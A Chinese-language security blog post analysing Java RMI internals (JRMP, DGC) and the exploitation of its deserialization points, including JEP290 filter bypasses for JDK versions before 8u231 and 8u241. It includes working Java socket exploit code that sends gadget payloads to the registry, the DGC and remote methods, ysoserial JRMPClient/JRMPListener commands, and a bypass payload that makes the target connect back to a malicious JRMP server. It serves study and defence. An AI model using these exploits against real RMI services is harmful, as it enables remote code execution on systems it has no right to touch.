前言
之前第一次学RMI时跟踪了RMI服务端和客户端的所有交互过程,以及JRMP协议的解析过程,找到了每个反序列化点,然后就以为自己RMI学完了,最后和别人交流时发现怎么利用?怎么绕过?JEP290是什么一问三不知。于是又重新拾起原来仅存的一点记忆重新开始学习RMI。
过去回顾
RMI是RPC(远程过程调用)在Java中的一种实现,它使用JRMP作为底层消息传输协议,在RMI服务中有三个参与者。
Registry
Server
Client
Registry中存储了所有远程对象的地址,RegistryImpl是它的具体实现,Client在访问远程对象之前要先去注册中心查找远程对象,他会返回远程对象对应的代理对象。然后Client拿着代理对象对调用远程方法,最后参数就会通过序列化传递到Server,Server执行完成后通过再将结果反序列化发送给Client。一般注册中心和服务端都在同一台计算机上,他们的创建流程大概如下。
远程对象一般需要继承UnicastRemoteObject类,然后显式实现一个无参的构造函数,最后实际上都是执行的UnicastRemoteObject的钩构造函数。最后exportObject实际上就是创建一个端口监听,等待客户端端的访问。下面是UnicastRemoteObject和Registry相关的类继承图。
最后所有的代理对象和实现类(RegistryImpl和自定义的远程对象)会被封装到Target对象中保存到ObjectTable.objTable中。绑定的对象最后会被保存在RegistryImpl.bindings中。JRMP协议详情在sun.rmi.transport.tcp.TCPTransport.ConnectionHandler#run0方法中。
新的理解
UnicastServerRef和UnicastRef
这两个类是在rmi中有相当大的作用,他们主要负责处理网络相关的连接,他们有什么联系和区别呢?首先看一下它们的类继承图
可以看到UnicastServerRef是UnicastRef的子类,同时他们都是可序列化的。
在UnicastRef中有一个LiveRef属性,它是用于管理socket来进行数据传输的类。
我们可以继续跟进他们的源码看一下区别
UnicastServerRef中主要是exportObject,dispatch等方法。UnicastRef中主要是invoke,marshalValue等方法。
更近一步分析知道UnicastServerRef一般都存在与服务端的对象属性中,而UnicastRef一般都存在于客户端的对象中。进一步印证可以查看UnicastRemoteObject对象实例方法和Util.createProxy创建远程代理对象,前者会创建UnicastServerRef对象,后者创建的代理对象中都会采用UnicastRef对LiveRef对象封装。
createProxy方法创建的就是Stub或者远程代理对象,即lookup方法返回给客户端的代理对象。
JRMP协议初探
前面大致介绍了客户和服务端对象的创建与调用以及UnicastServerRef和UnicastRef对象,现在可以介绍一下JRMP基础知识了。我们知道计算机中之间只要通信就会有一个通信标准,这个标准就是通信协议。协议中规定了每个字段的含义,在RMI中底层socket通信的标准就是按照JRMP协议来的。这部分源码主要就从TCPTransport.ConnectionHandler#run0开始.
服务端的流程大致如下图所示
客户端的流程大致如下。
客户端的对象都是由Util.createProxy方法创建的代理对象,最后调用时首先会执行代理对象的invoke方法,最后经过调用链到达UnicastRef#invoke方法。
从上面的流程图总结一下服务端的几个反序列化点
RegistryImpl_skel和DGCImpl_skel中调用bind,lookup,dirty等方法时反序列化读取客户端传递的参数值
对于远程对象的方法参数值的读取(UnicastServerRef#dispatch -> UnicastRef#unmarshalValue)
客户端的的几个反序列化点
RegistryImpl_Stub和DGCImpl_Stub中远程方法(lookup/list/dirty)的返回值
客户端调用UnicastRef.unmarshalValue反序列化读取远程方法的返回值
客户端反序列化读取远程方法执行时出错抛出的异常类
DGC的创建与调用
前面一直都没说过DGC,同时在第一次学RMI的时候也没怎么仔细了解过DGC。感觉从RMI的功能上讲它没有直接相关的体现,就感觉它没有那么重要。实际上从安全来讲,它才是真正的关键,包括后面JEP290的绕过也利用了DGC。
DGC是分布式垃圾回收机制,每个变成语言中都有内存管理的方法,如果不对之前分配的内存管理就可能会导致内存泄露。在Jvm中为每个对象都维护了一个引用值,每当有一个变量指向该对象的内存时,该值就会加1,不再指向时则-1,当最后执行值为0时,jvm就会自动将该对象占用的内存清除。在RMI服务中,一个远程对象,不仅有当前jvm的引用,还可能存在远程主机的引用,所以引入了分布式垃圾回收,它同时会监测远程主机的状态。远程主机每过一定时间就需要给服务端发送一次状态以维持对远程对象的引用,否则就可能会被回收。
但在我们之前介绍的时候以及源码分析的时候都没见过它,因为它总是在不经意间默默的发挥作用。
我们在源码分析的时候遇到上面的代码时可能就简单的以为是日志打印就跳过去了。实际上我们发现它这是调用了DGCImpl的静态变量dgcLog,在这个过程中会对类进行初始化,调用其中静态代码块中的内容然后执行。所以我们跟进DGCImpl类中的静态代码块。
可以看到这里可前面创建RegistryImpl对象时很类似,也创建了DGCImpl_skel,DGCImpl_Stub对象,以及封装Target对象,就不再细讲了。
不知道有没有人和我有一样的疑惑就是它怎么没有调用exportObject导出对象,最后怎么还是能正常调用它的方法呢?
这个问题纠结了我好一会,最后发现对于服务端虽然每个远程对象实例化都会创建UnicastServerRef,LiveRef等对象,但实际上最后所有远程对象监听的端口都是同一个端口,其中的猫腻就在TCPEndpoint#getLocalEndpoint方法中,这里就不再细说了,有兴趣的可以跟进去看一下。
上面是服务端的创建,在客户端什么时候创建的DGC呢?我们通过抓包可以发现在获取到远程对象之后还没有调用远程方法之前就会发起一个新的远程连接。
从数据包中内容可以看出是调用的DGC的dirty方法。从反序列化远程对象的点开始跟踪调试,由于我们最后反序列化远程对象是在RegistryImpl_Stub中实现的,但这个类不能下断点,只能在它调用其他类中的方法下断点。最后一直执行完readObject方法都没发起新的连接,说明新连接是最后这个UnicastRef#done中发起的。
最后一路跟踪sun.rmi.transport.DGCClient.EndpointEntry#EndpointEntry方法中在RenewCleanThread类里面调用了makeDirtyCall发起了ditry远程调用。
调用栈如下
<init>:263, DGCClient$EndpointEntry (sun.rmi.transport)
lookup:237, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:155, DGCClient (sun.rmi.transport)
registerRefs:94, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
done:313, StreamRemoteCall (sun.rmi.transport)
done:451, UnicastRef (sun.rmi.server)
lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
lookup:101, Naming (java.rmi)
main:8, Main (com.snail)
JEP290之前利用方法
这里主要根据反序列化点可以大致分为以下三类,因为只要调用了ObjectInputStream#readObject方法就会调用反序列化链。其实从底层来看,不管是客户端还是服务端都是按照JRMP协议使用soket发送数据数据,然后根据读取的内容决定程序的走向,一直走到readObjet语句之前,当继续读到的数据是一串恶意的反序列化数据那么就会导致非法的反序列化导致命令执行等操作。所以不管是客户端打服务端还是服务端打客户端,只要在找到对应的反序列化点,然后控制在那个点给它传递一个恶意的反序列化数据就会导致命令执行。所以下面的代码主要都是直接从socket直接实现JRMP协议的角度出发的。
远程方法的调用
我原来一直以为这才是RMI利用的主要方式(都还没考虑过方法参数的问题),现在才发现实际上这种方法是比较鸡肋的。因为当我们面对一个完全陌生的RMI服务时,我们可以通过list获取到它的远程对象名,然后通过lookup获取到它的代理对象,但无法获取它的方法名以及参数类型。原来刚开始学的时候还有个小误解就是以为必须要远程方法的参数类型是Object才可以被利用,这个其实是不一定的。我们可以从服务端读取参数的方法(UnicastRef#unmarshalValue)中看到,只要不是基本数据类型它最后都会按Object读取。然后根据前面说的,我们完全可以自实现服务端和客户端,所以这个条件不是必须的。下面就是socket调用远程方法的一个简单的demo。
Socket s=null;
DataOutputStream dos = null;
int opcode = 0;
try {//服务端的端口,ObjID等信息都可以从lookup返回的代理对象中获取,但MethodHash不能
s = SocketFactory.getDefault().createSocket("127.0.0.1", 36650);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//ObjID
objOut.writeLong(0xd36a17b483db3bf6L); // ServerObjID objNum
objOut.writeInt(0xfeea4dd5); // unique
objOut.writeLong(0x00000187ec856d29L); // time
objOut.writeShort(0x8001); // count
objOut.writeInt(-1);
long methodhash = Util.computeMethodHash(rmiObject1.class.getDeclaredMethod("SayHello",String.class));
objOut.writeLong(methodhash); //methodHashcode
//method params
objOut.writeObject(Utils.generateObject("cc1"));
os.flush();
}
catch (Exception exception){
exception.printStackTrace();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
RegistryImpl类中的四个方法
在RegistryImpl中实际上提供了五个方法bind,unbind,rebind,lookup,list,其中list方法没有参数,所以不能触发反序列化,但我们可以用它来探测RMI服务及其包含的远程对象。这几个方法既可以看作是注册端的远程方法,当我们服务端从注册端请求远程对象是也是由客户端的RegistryImpl_Stub发起的请求。他们各自的参数默认如下
public Remote lookup(String name);
public void bind(String name, Remote obj);
public void unbind(String name);
public void rebind(String name, Remote obj);
public String[] list()
我们知道服务端在解析参数值的时候只要不是基本数据类型都是使用的readObject方法读取。这就是反序列化的利用点,但是我们如果直接简单的将lookup(String name)改成lookup(Object name)在编译时就会报错。
下面就是直接使用socket模拟的JRMP客户端的请求的Demo。
public class AttackRegistry {
public static void main(String[] args) throws IOException {
Socket s=null;
DataOutputStream dos = null;
int opcode = 2;
try {
s = SocketFactory.getDefault().createSocket("127.0.0.1", 1099);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//
objOut.writeLong(0); // REGISTRY_ID
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
switch (opcode){
case 0:
objOut.writeInt(0); // bind
objOut.writeLong(4905912898345647071L);
//bind params
objOut.writeObject("xxx");
objOut.writeObject(Utils.generateObject("RefObject"));
break;
case 1:
objOut.writeInt(1); // list
objOut.writeLong(4905912898345647071L);
break;
case 2:
objOut.writeInt(2); // lookup
objOut.writeLong(4905912898345647071L);
//lookup param
objOut.writeObject(Utils.generateObject("RefObject"));
break;
case 3:
objOut.writeInt(3); // rebind
objOut.writeLong(4905912898345647071L);
//rebind params
objOut.writeObject("payload1");
objOut.writeObject("payload2");
break;
case 4:
objOut.writeInt(4); // unbind
objOut.writeLong(4905912898345647071L);
//unbind params
objOut.writeObject("payload1");
break;
default:
System.out.println("opcode error!");
}
os.flush();
}
catch (Exception exception){
exception.printStackTrace();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
DGC客户端和服务端的利用
在DGCImpl中有只有两个方法。
public Lease dirty(ObjID[] ids, long sequenceNum, Lease lease);
public void clean(ObjID[] ids, long sequenceNum, VMID vmid, boolean strong);
我们前面之所以说远程方法的利用比较鸡肋,是因为远程对象中的远程方法接口我们都是位置的,如果在知道的情况下也是可以很容易被利用的。而对于DGC的服务端来说它对外的远程方法接口是固定的,所以我们就可以直接调用它的远程接口导致反序列化攻击。
public class Exploit {
public static void main(String[] args) throws Exception {
Socket s=null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket("127.0.0.1", 1099);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC_ID
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(Utils.generateObject("cc6"));
os.flush();
}
catch (Exception exception){
exception.printStackTrace();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
DGC主要就两个方法dirty和clean,然后都有可以利用的参数。在ysoserial中JRMPClient就是利用DGC客户端打服务端的脚本。
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "calc"
JEP290之后利用方法
从8u121后jdk就对RMI进行了修复,它在ObjectInput反序列化类底层添加了过滤器。然后分别在RegistryImpl和DGCImpl中添加了白名单过滤方法。
//RegistryImpl
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
//DGCImpl
return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
在反序列化之前都先给输入流设置了过滤器。
从上面我们可以知道
JEP290是采用的白名单过滤,也就是说我们只能传入它指定的类或者其子类才能成功反序列化。
它只对服务端的反序列化点添加了过滤器。
DGC绕过(<8u231)
在RMI中由很多调用readObject方法的点,现在从反序列化的漏洞原理来重新理一下,我们在触发反序列化时首先需要ObjectOutputStream.readObject来触发,这是反序列化的起点,他们在反序列化时又会调用类中自定义的readObject方法,这个是反序列化链。
我们还是从后往前推,由于JEP290对服务端的反序列化的点都做了过滤,所以我们现在只能想办法尝试从服务端发起一个客户端请求。然后联想到之前客户端在反序列化时自动发起了一个DGC的客户端请求,可以试试能不能利用该调用链。从调用链中找到找哪些方法在其他地方也调用过,同时注意调用链中的判断语句,防止由于条件判断导致断链。从调用链的最后一个方法回溯最后找到了StreamRemoteCall#releaseInputStream在UnicastServerRef中调用了。其实还有在RegistryImpl_Skel中的switch语句里面也调用了。
现在将继续往下看StreamRemoteCall#releaseInputStream后面的调用链,最后发现在ConnectionInputStream#registerRefs中有一个判断。
void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}
就是需要incomingRefTable不为空,从源码中对属性的注释上可以大概看出是一个缓存变量。我们跟踪看有哪些地方往该Map中添加了值。
最后找到只有在ConnectionInputStream#saveRef中添加了数据,然后继续回溯找到LiveRef.read方法
这个方法又在UnicastRef.readExternal中被调用。现在基本上整个调用链就通了。
先给服务端传递一个UnicastRef对象反序列化,在反序列化中会调用LiveRef#read最后添加incomingRefTable中的值。
然后代码继续执行执行调用StreamRemoteCall#releaseInputStream,最后调用makeDirtyCall向恶意的JRMP服务器发起一个客户端请求,恶意JRMP服务器的地址就是由UnicastRef指定的。
ysoserial可以直接开启一个恶意的JRMP服务器,它就是使用socket实现了JRMP协议,精准控制了每个字段的值,最后将恶意的反序列化数据写入异常类里面发送给客户端。
下面的案例中攻击代码还是使用前面socket模拟调用RegistryImpl.bind的方法,然后使用ysoserial开启一个恶意的JRMP服务。
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections6 "calc"
UnicastRemoteObject绕过(<8u241)
前面通过DGC的绕过方式在8u231中就被修复了,其实前面的绕过方式并不是在反序列化的调用链中直接导致命令执行的,它只是往incomingRefTable中添加了值,不让后续创建DGCImpl的代理对象以及发起远程的dirty方法调用不被阻断。所以在介绍这种绕过之前先来说一下8u231的修复内容。
在RegistryImpl_Stub中的bind,rebind等方法中反序列化时添加了强制类型转换,当强转出错时就会进入新添加的异常处理StreamRemoteCall#discardPendingRefs用于清空incomingRefTable,防止后面调用releaseInputStream时发起DGC客户端请求。但是整个反序列化流程还是会执行的,只是最后强转时抛出异常。
由于之前DGC绕过的本质是DGCImpl_Stub发起的客户端请求导致反序列化,所以第二处就还对DGCImpl_Stub中dirty方法做了修复,在前面添加了白名单过滤。
在这上面这两处的修复后,现在如果还想利用DGC发起客户端请求就比较难了。如果只有第一处修复其实在调用远程接口处都还可以利用一下(虽然很鸡肋),但第二处又专门对DGCImpl_Stub修复了就不行了。
所以这种利用方式就不再是用的DGC了,完全是利用的JRMP协议的反序列化了,我也不知道大佬是怎么想到的。
我们再回去看一下RegistryImpl中的白名单,能想到的估计也就只有remote的子类了。它是所有远程对象的接口,在所有的实现类中找反序列化方法。最后找到了UnicastRemoteObject。它的
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
in.defaultReadObject();
reexport();
}
private void reexport() throws RemoteException
{
if (csf == null && ssf == null) {
exportObject((Remote) this, port);
} else {
exportObject((Remote) this, port, csf, ssf);
}
}
我第一眼看到这时想到是这不是会调用exportObject方法最后创建一个服务端吗,但是服务端的反序列化之前不是说都被修复了吗?但这里的思路不是这样的。之前在学CC1的时候就了解了动态代理在反序列化时的妙用,它会把所有的代理方法执行转向invoke方法,这就不像其他反序列化链中直接调用的那么明显。
这里就是将ssf设置为RemoteObjectInvocationHandler的代理对象,这个对象就是创建远程代理对象时使用的,我们就可以把恶意服务端地址封装到ref属性中。最后在创建服务端时调用ssf的方法时就会转向RemoteObjectInvocationHandler#invoke,后面的调用流程其实就是和客户端一样了。payload如下
UnicastRef unicastRef = new UnicastRef(new LiveRef(new ObjID(ObjID.DGC_ID),new TCPEndpoint("127.0.0.1",1234),false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);//将UnicastRef对象封装到代理对象中。
//创建RMIServerSocketFactory接口的代理对象。
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
//反射创建UnicastRemoteObject并赋值
Class<UnicastRemoteObject> unicastRemoteObjectClass = UnicastRemoteObject.class;
Constructor<?> constructor = unicastRemoteObjectClass.getDeclaredConstructor(null); // 获取默认的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field ssfField = unicastRemoteObjectClass.getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(remoteObject,serverSocketFactory);
这里还有个小坑,就是如果直接使用ysoserial创建恶意的JRMP服务端会报错。
需要在源码中把ysoserial.exploit.JRMPListener.doCall(JRMPListener.java:272)这一行注释掉然后启动就可以了。
在8u241之后又对这种绕过方式进行的修复,主要就是在RemoteObjectInvocationHandler#invokeRemoteMethod方法中添加了如下代码
// Verify that the method is declared on an interface that extends Remote
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}
return ref.invoke((Remote) proxy, method, args,getMethodHash(method));
前面我们调用的方法是RMIServerSocketFactory接口的方式,它与remote接口没有关系。现在修复后会对调用的方法进行检查,若其声明的类不是remote接口的子类则会直接抛出异常。
RMI反制与防范
通过前面知道RMI在利用时服务端和客户端可以互相攻击,那我们在实战中攻击RMI时自己也可能被攻击,所以我们也要防止被反制。从原理上讲,我们为什么会被反制呢,因为按照原生的RMI客户端和服务端的代码流程中在发包后都有反序列化点,所以我们可以可以自己通过soket发包模拟JRMP来防止恶意反序列化数据攻击我们自己。
总结
这一次学RMI就更加注重从安全角度上理解RMI,之前只是从开发的角度,把各个过程分析了一遍,最后别人一问怎么攻击,怎么绕过什么都不知道。整篇文章的攻击主要都是从底层通信的角度出发的,直接从JRMP协议的反序列化点进行攻击。
JEP290之前没有任何防御所有反序列化点都可以直接攻击。
JEP290之后对服务端在反序列化底层做了过滤,所以利用了DGC让服务端发起一个客户端请求访问恶意的服务器。(jdk<8u231)
JEP290之后还有一种绕过还有一种通用的绕过是利用RemoteObjectInvocationHandler创建代理对象,然后在反序列化时直接发起一个客户端请求。(jdk<8u241)
到8u241修复之后基本上就没有利用的方式了。
参考资料
ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)